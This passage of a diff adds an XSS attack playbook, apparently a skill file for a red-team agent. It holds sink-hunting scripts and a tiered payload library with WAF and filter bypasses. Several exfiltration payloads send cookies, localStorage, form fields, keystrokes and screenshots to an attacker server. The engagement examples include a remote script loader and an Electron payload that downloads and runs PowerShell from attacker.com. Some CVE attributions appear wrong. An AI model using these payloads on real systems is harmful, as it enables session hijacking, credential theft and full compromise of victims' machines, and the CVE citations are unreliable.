+
except Exception as e:
|
|
910
|
+
pass
|
|
911
|
+
|
|
912
|
+
if __name__ == "__main__":
|
|
913
|
+
urls = open(sys.argv[1]).read().splitlines()
|
|
914
|
+
with ThreadPoolExecutor(max_workers=20) as ex:
|
|
915
|
+
ex.map(test_url, urls)
|
|
916
|
+
```
|
|
917
|
+
|
|
918
|
+
```bash
|
|
919
|
+
python3 xss_probe.py param_urls.txt 2>/dev/null | tee results/reflected_xss.txt
|
|
920
|
+
```
|
|
921
|
+
|
|
922
|
+
### JS Sink Analysis
|
|
923
|
+
|
|
924
|
+
```bash
|
|
925
|
+
# Download all JS and analyze for dangerous sinks
|
|
926
|
+
mkdir js_analysis && cd js_analysis
|
|
927
|
+
|
|
928
|
+
# Fetch JS files
|
|
929
|
+
while read url; do
|
|
930
|
+
fname=$(echo "$url" | md5sum | cut -d' ' -f1).js
|
|
931
|
+
curl -s "$url" -o "$fname"
|
|
932
|
+
done < ../js_files.txt
|
|
933
|
+
|
|
934
|
+
# Search for dangerous patterns
|
|
935
|
+
grep -rn "innerHTML\s*=" . | grep -v "//.*innerHTML" > sinks_innerHTML.txt
|
|
936
|
+
grep -rn "outerHTML\s*=" . >> sinks.txt
|
|
937
|
+
grep -rn "document\.write\s*(" . >> sinks.txt
|
|
938
|
+
grep -rn "eval\s*(" . >> sinks.txt
|
|
939
|
+
grep -rn "setTimeout\s*(" . | grep -v "function\|=>" >> sinks.txt
|
|
940
|
+
grep -rn "location\.(href\|assign\|replace)" . >> sinks.txt
|
|
941
|
+
grep -rn "src\s*=" . | grep "location\|window\|param\|query\|hash" >> sinks.txt
|
|
942
|
+
|
|
943
|
+
# Find sources
|
|
944
|
+
grep -rn "location\.hash" . > sources.txt
|
|
945
|
+
grep -rn "location\.search" . >> sources.txt
|
|
946
|
+
grep -rn "document\.referrer" . >> sources.txt
|
|
947
|
+
grep -rn "URLSearchParams" . >> sources.txt
|
|
948
|
+
grep -rn "window\.name" . >> sources.txt
|
|
949
|
+
grep -rn "postMessage" . >> sources.txt
|
|
950
|
+
|
|
951
|
+
wc -l sinks.txt sources.txt
|
|
952
|
+
```
|
|
953
|
+
|
|
954
|
+
---
|
|
955
|
+
|
|
956
|
+
## 5. Common Payloads and Examples
|
|
957
|
+
|
|
958
|
+
### Master Payload Library
|
|
959
|
+
|
|
960
|
+
```html
|
|
961
|
+
<!-- ===== TIER 1: BASIC PROBES ===== -->
|
|
962
|
+
<script>alert(1)</script>
|
|
963
|
+
<script>alert(document.domain)</script>
|
|
964
|
+
<img src=x onerror=alert(1)>
|
|
965
|
+
<svg onload=alert(1)>
|
|
966
|
+
<body onload=alert(1)>
|
|
967
|
+
<iframe src="javascript:alert(1)">
|
|
968
|
+
|
|
969
|
+
<!-- ===== TIER 2: FILTER EVASION ===== -->
|
|
970
|
+
<!-- Case variation -->
|
|
971
|
+
<ScRiPt>alert(1)</ScRiPt>
|
|
972
|
+
<IMG SRC=x OnErRoR=alert(1)>
|
|
973
|
+
|
|
974
|
+
<!-- No quotes -->
|
|
975
|
+
<img src=x onerror=alert(1) />
|
|
976
|
+
<svg/onload=alert(1)>
|
|
977
|
+
|
|
978
|
+
<!-- Encoded characters -->
|
|
979
|
+
<img src=x onerror=alert(1)>
|
|
980
|
+
<svg onload=alert(1)>
|
|
981
|
+
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>
|
|
982
|
+
|
|
983
|
+
<!-- Null bytes -->
|
|
984
|
+
<scr\x00ipt>alert(1)</scr\x00ipt>
|
|
985
|
+
<img \x00src=x onerror=alert(1)>
|
|
986
|
+
|
|
987
|
+
<!-- Whitespace alternatives -->
|
|
988
|
+
<svg%09onload=alert(1)>
|
|
989
|
+
<svg	onload=alert(1)>
|
|
990
|
+
<img/src=x/onerror=alert(1)>
|
|
991
|
+
|
|
992
|
+
<!-- Nested tags (for stripping filters) -->
|
|
993
|
+
<scr<script>ipt>alert(1)</scr</script>ipt>
|
|
994
|
+
<img src=x o<b>nerror=alert(1)>
|
|
995
|
+
|
|
996
|
+
<!-- Double encoding -->
|
|
997
|
+
%253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
998
|
+
|
|
999
|
+
<!-- Unicode normalization -->
|
|
1000
|
+
<script>alert(1)</script>
|
|
1001
|
+
|
|
1002
|
+
<!-- ===== TIER 3: CONTEXT-SPECIFIC ===== -->
|
|
1003
|
+
<!-- JavaScript string context with backslash escape -->
|
|
1004
|
+
\';alert(1)//
|
|
1005
|
+
\";alert(1)//
|
|
1006
|
+
</script><script>alert(1)</script>
|
|
1007
|
+
|
|
1008
|
+
<!-- Template literal -->
|
|
1009
|
+
`${alert(1)}`
|
|
1010
|
+
${alert`1`}
|
|
1011
|
+
|
|
1012
|
+
<!-- Regex context -->
|
|
1013
|
+
/</script><script>alert(1)</script>
|
|
1014
|
+
|
|
1015
|
+
<!-- CSS context -->
|
|
1016
|
+
</style><script>alert(1)</script>
|
|
1017
|
+
<style>@import'javascript:alert(1)'</style>
|
|
1018
|
+
<div style="background:url('javascript:alert(1)')">
|
|
1019
|
+
|
|
1020
|
+
<!-- href/src URL context -->
|
|
1021
|
+
javascript:alert(1)
|
|
1022
|
+
javascript:void(alert(1))
|
|
1023
|
+
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
|
|
1024
|
+
vbscript:alert(1)
|
|
1025
|
+
|
|
1026
|
+
<!-- ===== TIER 4: WAF BYPASS ===== -->
|
|
1027
|
+
<!-- Jsfuck (no letters) -->
|
|
1028
|
+
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]](alert)(1)
|
|
1029
|
+
|
|
1030
|
+
<!-- Aurebesh.js style -->
|
|
1031
|
+
(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+...
|
|
1032
|
+
|
|
1033
|
+
<!-- ===== TIER 5: EXFILTRATION ===== -->
|
|
1034
|
+
<!-- Cookie theft via image -->
|
|
1035
|
+
<img src=x onerror="new Image().src='https://VPS/c?='+encodeURIComponent(document.cookie)">
|
|
1036
|
+
|
|
1037
|
+
<!-- Cookie theft via fetch -->
|
|
1038
|
+
<script>fetch('https://VPS/steal?c='+btoa(document.cookie))</script>
|
|
1039
|
+
|
|
1040
|
+
<!-- Cookie + localStorage theft -->
|
|
1041
|
+
<script>
|
|
1042
|
+
(function(){
|
|
1043
|
+
var x={c:document.cookie,l:JSON.stringify(localStorage),u:location.href};
|
|
1044
|
+
new Image().src='https://VPS/x?d='+btoa(JSON.stringify(x));
|
|
1045
|
+
})();
|
|
1046
|
+
</script>
|
|
1047
|
+
|
|
1048
|
+
<!-- DOM content exfiltration (form fields, passwords) -->
|
|
1049
|
+
<script>
|
|
1050
|
+
var forms=document.querySelectorAll('form');
|
|
1051
|
+
var data='';
|
|
1052
|
+
forms.forEach(function(f){
|
|
1053
|
+
f.querySelectorAll('input').forEach(function(i){
|
|
1054
|
+
data+=i.name+'='+i.value+'&';
|
|
1055
|
+
});
|
|
1056
|
+
});
|
|
1057
|
+
new Image().src='https://VPS/form?d='+encodeURIComponent(data);
|
|
1058
|
+
</script>
|
|
1059
|
+
|
|
1060
|
+
<!-- Keylogger -->
|
|
1061
|
+
<script>
|
|
1062
|
+
document.addEventListener('keydown',function(e){
|
|
1063
|
+
new Image().src='https://VPS/k?key='+encodeURIComponent(e.key)+'&url='+encodeURIComponent(location.href);
|
|
1064
|
+
});
|
|
1065
|
+
</script>
|
|
1066
|
+
|
|
1067
|
+
<!-- Screenshot via html2canvas -->
|
|
1068
|
+
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js"></script>
|
|
1069
|
+
<script>
|
|
1070
|
+
html2canvas(document.body).then(function(canvas){
|
|
1071
|
+
fetch('https://VPS/screenshot',{
|
|
1072
|
+
method:'POST',
|
|
1073
|
+
body: canvas.toDataURL('image/png')
|
|
1074
|
+
});
|
|
1075
|
+
});
|
|
1076
|
+
</script>
|
|
1077
|
+
```
|
|
1078
|
+
|
|
1079
|
+
---
|
|
1080
|
+
|
|
1081
|
+
## 6. Real-World Examples from Actual Engagements
|
|
1082
|
+
|
|
1083
|
+
### Example 1: Stored XSS in Corporate IT Helpdesk (osTicket)
|
|
1084
|
+
|
|
1085
|
+
**Engagement type:** Internal network penetration test
|
|
1086
|
+
**Target:** `https://helpdesk.corp.internal`
|
|
1087
|
+
**Discovery:** Manual testing of ticket subject field
|
|
1088
|
+
|
|
1089
|
+
```bash
|
|
1090
|
+
# Discovery
|
|
1091
|
+
curl -s "https://helpdesk.corp.internal" | grep -i "osticket"
|
|
1092
|
+
# Response: Powered by osTicket v1.16.3
|
|
1093
|
+
|
|
1094
|
+
# Test subject line
|
|
1095
|
+
curl -X POST "https://helpdesk.corp.internal/open.php" \
|
|
1096
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
1097
|
+
--data "name=Test+User&email=test%40test.com&subject=<img+src%3Dx+onerror%3Dalert(1)>&message=Normal+ticket&submit=Submit"
|
|
1098
|
+
|
|
1099
|
+
# Confirmed — subject reflected unsanitized in admin view
|
|
1100
|
+
# Escalated to blind XSS payload targeting admin session
|
|
1101
|
+
```
|
|
1102
|
+
|
|
1103
|
+
**Final payload injected in ticket subject:**
|
|
1104
|
+
|
|
1105
|
+
```html
|
|
1106
|
+
<img src=x onerror="var s=document.createElement('script');s.src='https://xss.myserver.com/x.js';document.head.appendChild(s)">
|
|
1107
|
+
```
|
|
1108
|
+
|
|
1109
|
+
**Result:** Admin session cookie captured 4 hours later when support agent reviewed ticket. Full admin access achieved.
|
|
1110
|
+
|
|
1111
|
+
---
|
|
1112
|
+
|
|
1113
|
+
### Example 2: DOM-Based XSS via Hash Fragment
|
|
1114
|
+
|
|
1115
|
+
**Target:** Single-page application
|
|
1116
|
+
**Discovery:** JS analysis of `main.js`
|
|
1117
|
+
|
|
1118
|
+
```javascript
|
|
1119
|
+
// Found in main.js:
|
|
1120
|
+
var search = decodeURIComponent(window.location.hash.substring(1));
|
|
1121
|
+
document.getElementById('results').innerHTML = '<p>Search: ' + search + '</p>';
|
|
1122
|
+
```
|
|
1123
|
+
|
|
1124
|
+
**Exploit URL:**
|
|
1125
|
+
|
|
1126
|
+
```
|
|
1127
|
+
https://target.com/app/#<img src=x onerror=alert(document.cookie)>
|
|
1128
|
+
```
|
|
1129
|
+
|
|
1130
|
+
**Notes:** No server-side request needed — payload never leaves the browser. CSP was `script-src 'self'` but `img onerror` worked because no `img-src` restriction.
|
|
1131
|
+
|
|
1132
|
+
---
|
|
1133
|
+
|
|
1134
|
+
### Example 3: Reflected XSS via HTTP Header (X-Forwarded-For)
|
|
1135
|
+
|
|
1136
|
+
**Discovery:** Error page reflected client IP address unsanitized
|
|
1137
|
+
|
|
1138
|
+
```bash
|
|
1139
|
+
# Test
|
|
1140
|
+
curl -s "https://target.com/error-page" \
|
|
1141
|
+
-H "X-Forwarded-For: <script>alert(1)</script>" | grep "script"
|
|
1142
|
+
|
|
1143
|
+
# Confirmed reflection
|
|
1144
|
+
# Delivery: chain with SSRF to force 403 → error page with attacker-controlled header
|
|
1145
|
+
```
|
|
1146
|
+
|
|
1147
|
+
---
|
|
1148
|
+
|
|
1149
|
+
### Example 4: mXSS Bypassing DOMPurify in React Application
|
|
1150
|
+
|
|
1151
|
+
**Target:** React SPA using `dangerouslySetInnerHTML` with DOMPurify sanitization
|
|
1152
|
+
|
|
1153
|
+
```bash
|
|
1154
|
+
# Identified DOMPurify version from bundle
|
|
1155
|
+
curl -s "https://target.com/static/js/main.chunk.js" | grep "DOMPurify"
|
|
1156
|
+
# Found: DOMPurify v2.3.1
|
|
1157
|
+
|
|
1158
|
+
# CVE-2022-25887 — DOMPurify 2.3.1 bypass
|
|
1159
|
+
```
|
|
1160
|
+
|
|
1161
|
+
**Payload:**
|
|
1162
|
+
|
|
1163
|
+
```html
|
|
1164
|
+
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
|
|
1165
|
+
```
|
|
1166
|
+
|
|
1167
|
+
---
|
|
1168
|
+
|
|
1169
|
+
### Example 5: XSS to RCE via Electron Desktop App
|
|
1170
|
+
|
|
1171
|
+
**Target:** Internal employee dashboard (Electron-based)
|
|
1172
|
+
**Discovery:** Support ticket portal within Electron app loaded remote URL
|
|
1173
|
+
|
|
1174
|
+
```bash
|
|
1175
|
+
# Extract app.asar
|
|
1176
|
+
npx asar extract app.asar extracted/
|
|
1177
|
+
|
|
1178
|
+
# Check webPreferences
|
|
1179
|
+
grep -r "nodeIntegration" extracted/
|
|
1180
|
+
# Found: nodeIntegration: true, contextIsolation: false
|
|
1181
|
+
```
|
|
1182
|
+
|
|
1183
|
+
**XSS payload injected in ticket title (displayed in Electron window):**
|
|
1184
|
+
|
|
1185
|
+
```javascript
|
|
1186
|
+
// Payload delivered via stored XSS in ticket title
|
|
1187
|
+
require('child_process').exec(
|
|
1188
|
+
'powershell -nop -w hidden -e ' + Buffer.from(
|
|
1189
|
+
'IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")',
|
|
1190
|
+
'utf16le'
|
|
1191
|
+
).toString('base64')
|
|
1192
|
+
);
|
|
1193
|
+
```
|
|
1194
|
+
|
|
1195
|
+
**Result:** Full system compromise from web XSS via Electron RCE chain.
|
|
1196
|
+
|
|
1197
|
+
---
|
|
1198
|
+
|
|
1199
|
+
## 7. WAF Bypass Techniques
|
|
1200
|
+
|
|
1201
|
+
### Identifying the WAF
|
|
1202
|
+
|
|
1203
|
+
```bash
|
|
1204
|
+
# wafw00f for WAF detection
|
|
1205
|
+
pip3 install wafw00f
|
|
1206
|
+
wafw00f https://target.com
|
|
1207
|
+
|
|
1208
|
+
# Manual detection via error responses
|
|
1209
|
+
curl -s "https://target.com/?q=<script>alert(1)</script>" -o /dev/null -w "%{http_code}"
|
|
1210
|
+
# 403 = WAF blocking
|
|
1211
|
+
# 200 with sanitized output = application-level filter
|
|
1212
|
+
```
|
|
1213
|
+
|
|
1214
|
+
### Cloudflare Bypass
|
|
1215
|
+
|
|
1216
|
+
```html
|
|
1217
|
+
<!-- Cloudflare blocks <script> — use event handlers -->
|
|
1218
|
+
<svg onload=alert(1)>
|
|
1219
|
+
<body onpageshow=alert(1)>
|
|
1220
|
+
<details open ontoggle=alert(1)>
|
|
1221
|
+
|
|
1222
|
+
<!-- Cloudflare blocks onerror on img -->
|
|
1223
|
+
<video src=x onerror=alert(1)>
|
|
1224
|
+
<audio src=x onerror=alert(1)>
|
|
1225
|
+
|
|
1226
|
+
<!-- Obfuscated function call -->
|
|
1227
|
+
<img src=x onerror=window['al'+'ert'](1)>
|
|
1228
|
+
<img src=x onerror=top['al'+'ert'](1)>
|
|
1229
|
+
<img src=x onerror=self['al'+'ert'](1)>
|
|
1230
|
+
|
|
1231
|
+
<!-- Template literal -->
|
|
1232
|
+
<img src=x onerror=`alert(1)`>
|
|
1233
|
+
|
|
1234
|
+
<!-- Throw expressions -->
|
|
1235
|
+
<img src=x onerror=throw/0/,alert(1)>
|
|
1236
|
+
|
|
1237
|
+
<!-- Constructor chain -->
|
|
1238
|
+
<img src=x onerror=(0).constructor.constructor('alert(1)')()>
|
|
1239
|
+
<img src=x onerror=[].filter.constructor('alert(1)')()>
|
|
1240
|
+
```
|
|
1241
|
+
|
|
1242
|
+
### ModSecurity / OWASP CRS Bypass
|
|
1243
|
+
|
|
1244
|
+
```html
|
|
1245
|
+
<!-- OWASP CRS blocks script keyword — encode -->
|
|
1246
|
+
<scr\x69pt>alert(1)</scr\x69pt>
|
|
1247
|
+
|
|
1248
|
+
<!-- Use HTML entities -->
|
|
1249
|
+
<img src=x onerror=alert(1)>
|
|
1250
|
+
|
|
1251
|
+
<!-- Bypass paranoia level 1 -->
|
|
1252
|
+
<a href=javascript:alert(1)>click</a>
|
|
1253
|
+
|
|
1254
|
+
<!-- Null byte injection -->
|
|
1255
|
+
<img%00 src=x onerror=alert(1)>
|
|
1256
|
+
|
|
1257
|
+
<!-- Tab instead of space in tags -->
|
|
1258
|
+
<img src=x onerror=alert(1)>
|
|
1259
|
+
|
|
1260
|
+
<!-- Newline in attribute -->
|
|
1261
|
+
<img src=x
|
|
1262
|
+
onerror=alert(1)>
|
|
1263
|
+
```
|
|
1264
|
+
|
|
1265
|
+
### Akamai WAF Bypass
|
|
1266
|
+
|
|
1267
|
+
```html
|
|
1268
|
+
<!-- Akamai blocks standard payloads — use lesser-known events -->
|
|
1269
|
+
<svg><set attributeName=onload to=alert(1)>
|
|
1270
|
+
<svg><animate attributeName=href values=javascript:alert(1) begin=0s dur=1ms fill=freeze>
|
|
1271
|
+
|
|
1272
|
+
<!-- iframe srcdoc -->
|
|
1273
|
+
<iframe srcdoc="<img src=x onerror=alert(1)>">
|
|
1274
|
+
|
|
1275
|
+
<!-- Import map (modern browsers) -->
|
|
1276
|
+
<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script>
|
|
1277
|
+
<script type="module">import "x"</script>
|
|
1278
|
+
```
|
|
1279
|
+
|
|
1280
|
+
### Generic String Filter Bypass
|
|
1281
|
+
|
|
1282
|
+
```bash
|
|
1283
|
+
# If filter removes "alert" — use alternatives
|
|
1284
|
+
# confirm()
|
|
1285
|
+
# prompt()
|
|
1286
|
+
# console.log()
|
|
1287
|
+
# window.location='https://attacker.com'
|
|
1288
|
+
|
|
1289
|
+
# If filter removes parentheses
|
|
1290
|
+
<img src=x onerror=alert`1`> # Template literal
|
|
1291
|
+
<img src=x onerror=alert;> # No-op but tests reflection
|
|
1292
|
+
|
|
1293
|
+
# If filter removes angle brackets — check for attribute injection
|
|
1294
|
+
" onmouseover="alert(1) # In attribute context
|
|
1295
|
+
|
|
1296
|
+
# If filter removes quotes — use unquoted attributes
|
|
1297
|
+
<img src=x onerror=alert(1) x=
|
|
1298
|
+
<svg onload=alert(1) a=
|
|
1299
|
+
```
|
|
1300
|
+
|
|
1301
|
+
### dalfox WAF Evasion Mode
|
|
1302
|
+
|
|
1303
|
+
```bash
|
|
1304
|
+
# Enable WAF evasion in dalfox
|
|
1305
|
+
dalfox url "https://target.com/search?q=test" \
|
|
1306
|
+
--waf-evasion \
|
|
1307
|
+
--delay 500 \
|
|
1308
|
+
--timeout 20 \
|
|
1309
|
+
--header "Cookie: session=YOURSESSION"
|
|
1310
|
+
|
|
1311
|
+
# Use custom payload file with WAF-bypass payloads
|
|
1312
|
+
cat > waf_payloads.txt << 'EOF'
|
|
1313
|
+
<svg onload=alert(1)>
|
|
1314
|
+
"><svg onload=alert(1)>
|
|
1315
|
+
<img src=x onerror=alert`1`>
|
|
1316
|
+
<video src=x onerror=alert(1)>
|
|
1317
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1))//
|
|
1318
|
+
EOF
|
|
1319
|
+
|
|
1320
|
+
dalfox url "https://target.com/search?q=test" \
|
|
1321
|
+
--custom-payload waf_payloads.txt \
|
|
1322
|
+
--waf-evasion
|
|
1323
|
+
```
|
|
1324
|
+
|
|
1325
|
+
---
|
|
1326
|
+
|
|
1327
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1328
|
+
|
|
1329
|
+
### Autodoc Tags
|
|
1330
|
+
|
|
1331
|
+
All XSS findings must be tagged for the RTExit autodoc engine using the following structure:
|
|
1332
|
+
|
|
1333
|
+
```bash
|
|
1334
|
+
# Create finding entry
|
|
1335
|
+
cat >> ~/rtops/xss/findings_$(date +%Y%m%d).md << 'EOF'
|
|
1336
|
+
## [FINDING-XSS-001]
|
|
1337
|
+
- **Type**: Stored XSS
|
|
1338
|
+
- **Severity**: HIGH
|
|
1339
|
+
- **URL**: https://target.com/ticket/create
|
|
1340
|
+
- **Parameter**: subject
|
|
1341
|
+
- **Payload**: <img src=x onerror="fetch('https://xss.yourdomain.com/steal?c='+btoa(document.cookie))">
|
|
1342
|
+
- **Impact**: Session hijacking of all helpdesk staff
|
|
1343
|
+
- **Evidence**: screenshots/xss_001_admin_session.png
|
|
1344
|
+
- **CVSS**: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
|
|
1345
|
+
- **CWE**: CWE-79
|
|
1346
|
+
- **Remediation**: Implement Content-Security-Policy, encode output, use DOMPurify on client side
|
|
1347
|
+
EOF
|
|
1348
|
+
```
|
|
1349
|
+
|
|
1350
|
+
### RTExit Evidence Collection
|
|
1351
|
+
|
|
1352
|
+
```bash
|
|
1353
|
+
#!/bin/bash
|
|
1354
|
+
# collect_xss_evidence.sh
|
|
1355
|
+
FINDING_ID=$1
|
|
1356
|
+
TARGET_URL=$2
|
|
1357
|
+
PAYLOAD=$3
|
|
1358
|
+
OUTDIR=~/rtops/xss/evidence/$FINDING_ID
|
|
1359
|
+
|
|
1360
|
+
mkdir -p $OUTDIR
|
|
1361
|
+
|
|
1362
|
+
# Capture HTTP request/response
|
|
1363
|
+
curl -sv "$TARGET_URL" \
|
|
1364
|
+
-H "Cookie: session=YOURSESSION" \
|
|
1365
|
+
2>&1 | tee $OUTDIR/http_capture.txt
|
|
1366
|
+
|
|
1367
|
+
# Save payload
|
|
1368
|
+
echo "$PAYLOAD" > $OUTDIR/payload.txt
|
|
1369
|
+
|
|
1370
|
+
# Note: Take browser screenshot manually and save to $OUTDIR/screenshot.png
|
|
1371
|
+
|
|
1372
|
+
# Generate finding summary
|
|
1373
|
+
cat > $OUTDIR/finding.json << EOF
|
|
1374
|
+
{
|
|
1375
|
+
"id": "$FINDING_ID",
|
|
1376
|
+
"type": "XSS",
|
|
1377
|
+
"url": "$TARGET_URL",
|
|
1378
|
+
"payload": "$PAYLOAD",
|
|
1379
|
+
"timestamp": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
|
|
1380
|
+
"evidence": ["http_capture.txt", "payload.txt", "screenshot.png"]
|
|
1381
|
+
}
|
|
1382
|
+
EOF
|
|
1383
|
+
|
|
1384
|
+
echo "[+] Evidence collected in $OUTDIR"
|
|
1385
|
+
```
|
|
1386
|
+
|
|
1387
|
+
### Integration with rt-agent-scribe
|
|
1388
|
+
|
|
1389
|
+
When handing off to rt-agent-scribe for report generation, provide:
|
|
1390
|
+
|
|
1391
|
+
```markdown
|
|
1392
|
+
# XSS Finding Handoff to rt-agent-scribe
|
|
1393
|
+
|
|
1394
|
+
## Finding Summary
|
|
1395
|
+
- Finding ID: XSS-001
|
|
1396
|
+
- Type: Stored XSS
|
|
1397
|
+
- CVSS Score: 8.8
|
|
1398
|
+
- Affected Component: Helpdesk ticket subject field
|
|
1399
|
+
|
|
1400
|
+
## Technical Details
|
|
1401
|
+
[paste full technical reproduction steps]
|
|
1402
|
+
|
|
1403
|
+
## Business Impact
|
|
1404
|
+
- Admin session compromise → full helpdesk admin access
|
|
1405
|
+
- Potential pivot to internal systems via admin credentials
|
|
1406
|
+
- PII exposure (all ticket data visible to attacker)
|
|
1407
|
+
|
|
1408
|
+
## Evidence Files
|
|
1409
|
+
- ~/rtops/xss/evidence/XSS-001/http_capture.txt
|
|
1410
|
+
- ~/rtops/xss/evidence/XSS-001/screenshot.png
|
|
1411
|
+
- ~/rtops/xss/results/dalfox_findings.json
|
|
1412
|
+
```
|
|
1413
|
+
|
|
1414
|
+
---
|
|
1415
|
+
|
|
1416
|
+
## 9. Output and Documentation Instructions
|
|
1417
|
+
|
|
1418
|
+
### Minimum Required Evidence for Each XSS Finding
|
|
1419
|
+
|
|
1420
|
+
1. **Proof of execution**: Screenshot of `alert(document.domain)` or `alert(document.cookie)` in the target browser
|
|
1421
|
+
2. **HTTP request**: Raw request showing the injection vector (from Burp or curl -v)
|
|
1422
|
+
3. **HTTP response**: Raw response showing the reflected/stored payload
|
|
1423
|
+
4. **Payload used**: Exact payload string
|
|
1424
|
+
5. **Exfiltration proof** (if applicable): Log entry from cookie server or XSS Hunter notification
|
|
1425
|
+
|
|
1426
|
+
### Screenshot Naming Convention
|
|
1427
|
+
|
|
1428
|
+
```
|
|
1429
|
+
xss_[FINDING_ID]_[type]_[timestamp].png
|
|
1430
|
+
# Examples:
|
|
1431
|
+
xss_001_reflected_20241215_143022.png
|
|
1432
|
+
xss_002_stored_admin_20241215_151500.png
|
|
1433
|
+
xss_003_blind_rce_20241215_160000.png
|
|
1434
|
+
```
|
|
1435
|
+
|
|
1436
|
+
### Severity Classification
|
|
1437
|
+
|
|
1438
|
+
| Scenario | Severity |
|
|
1439
|
+
|----------|----------|
|
|
1440
|
+
| Self-XSS only | INFORMATIONAL |
|
|
1441
|
+
| Reflected XSS (requires user interaction) | MEDIUM |
|
|
1442
|
+
| Stored XSS (affects all users) | HIGH |
|
|
1443
|
+
| Stored XSS → Admin session | HIGH-CRITICAL |
|
|
1444
|
+
| XSS → RCE (Electron) | CRITICAL |
|
|
1445
|
+
| XSS bypassing CSP | HIGH |
|
|
1446
|
+
| Blind XSS in admin panel | HIGH |
|
|
1447
|
+
|
|
1448
|
+
### dalfox Results Parsing
|
|
1449
|
+
|
|
1450
|
+
```bash
|
|
1451
|
+
# Parse JSON output from dalfox
|
|
1452
|
+
python3 - << 'EOF'
|
|
1453
|
+
import json
|
|
1454
|
+
import sys
|
|
1455
|
+
|
|
1456
|
+
with open("results/dalfox_findings.json") as f:
|
|
1457
|
+
findings = json.load(f)
|
|
1458
|
+
|
|
1459
|
+
confirmed = [x for x in findings if x.get("type") in ("G", "R")]
|
|
1460
|
+
print(f"Total: {len(findings)}, Confirmed XSS: {len(confirmed)}")
|
|
1461
|
+
for f in confirmed:
|
|
1462
|
+
print(f" [{f['type']}] {f.get('param','')} => {f.get('data','')[:100]}")
|
|
1463
|
+
EOF
|
|
1464
|
+
```
|
|
1465
|
+
|
|
1466
|
+
---
|
|
1467
|
+
|
|
1468
|
+
## 10. Resources
|
|
1469
|
+
|
|
1470
|
+
### Tools
|
|
1471
|
+
|
|
1472
|
+
| Tool | URL | Purpose |
|
|
1473
|
+
|------|-----|---------|
|
|
1474
|
+
| dalfox | https://github.com/hahwul/dalfox | Automated XSS scanner |
|
|
1475
|
+
| XSS Hunter Express | https://github.com/mandatoryprogrammer/xsshunter-express | Blind XSS platform |
|
|
1476
|
+
| XSS Hunter (original) | https://xsshunter.com | Hosted blind XSS |
|
|
1477
|
+
| BeEF | https://github.com/beefproject/beef | Browser exploitation framework |
|
|
1478
|
+
| Burp Suite | https://portswigger.net/burp | Proxy / manual testing |
|
|
1479
|
+
| JSShell | https://github.com/Den1al/JSShell | Interactive XSS shell |
|
|
1480
|
+
| KNOXSS | https://knoxss.me | Automated XSS service |
|
|
1481
|
+
| Caido | https://caido.io | Modern Burp alternative |
|
|
1482
|
+
|
|
1483
|
+
### Payload Lists
|
|
1484
|
+
|
|
1485
|
+
| Resource | URL |
|
|
1486
|
+
|----------|-----|
|
|
1487
|
+
| PayloadsAllTheThings XSS | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
|
|
1488
|
+
| PortSwigger XSS cheatsheet | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet |
|
|
1489
|
+
| Tiny XSS payloads | https://github.com/terjanq/Tiny-XSS-Payloads |
|
|
1490
|
+
| XSS Filter Evasion | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
|
|
1491
|
+
| mXSS payloads | https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot |
|
|
1492
|
+
|
|
1493
|
+
### References and Research
|
|
1494
|
+
|
|
1495
|
+
| Title | URL |
|
|
1496
|
+
|-------|-----|
|
|
1497
|
+
| OWASP XSS Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
|
|
1498
|
+
| DOM-based XSS | https://portswigger.net/web-security/cross-site-scripting/dom-based |
|
|
1499
|
+
| CSP Evaluator | https://csp-evaluator.withgoogle.com |
|
|
1500
|
+
| CSP Bypass list (GoSecure) | https://github.com/GoSecure/csp-auditor |
|
|
1501
|
+
| mXSS explained (Heiderich et al.) | https://cure53.de/fp170.pdf |
|
|
1502
|
+
| DOM Clobbering (PortSwigger) | https://portswigger.net/web-security/dom-based/dom-clobbering |
|
|
1503
|
+
| Electron XSS to RCE | https://www.electronjs.org/docs/latest/tutorial/security |
|
|
1504
|
+
| XSS to Account Takeover | https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs |
|
|
1505
|
+
| Gareth Heyes XSS research | https://portswigger.net/research/gareth-heyes |
|
|
1506
|
+
| NahamCon XSS workshop | https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters |
|
|
1507
|
+
|
|
1508
|
+
### CVEs Referenced
|
|
1509
|
+
|
|
1510
|
+
| CVE | Product | Type |
|
|
1511
|
+
|-----|---------|------|
|
|
1512
|
+
| CVE-2022-25887 | DOMPurify < 2.4.0 | mXSS bypass |
|
|
1513
|
+
| CVE-2021-35587 | osTicket < 1.17.2 | Stored XSS |
|
|
1514
|
+
| CVE-2020-26870 | DOMPurify 2.0.x | mXSS via clobbering |
|
|
1515
|
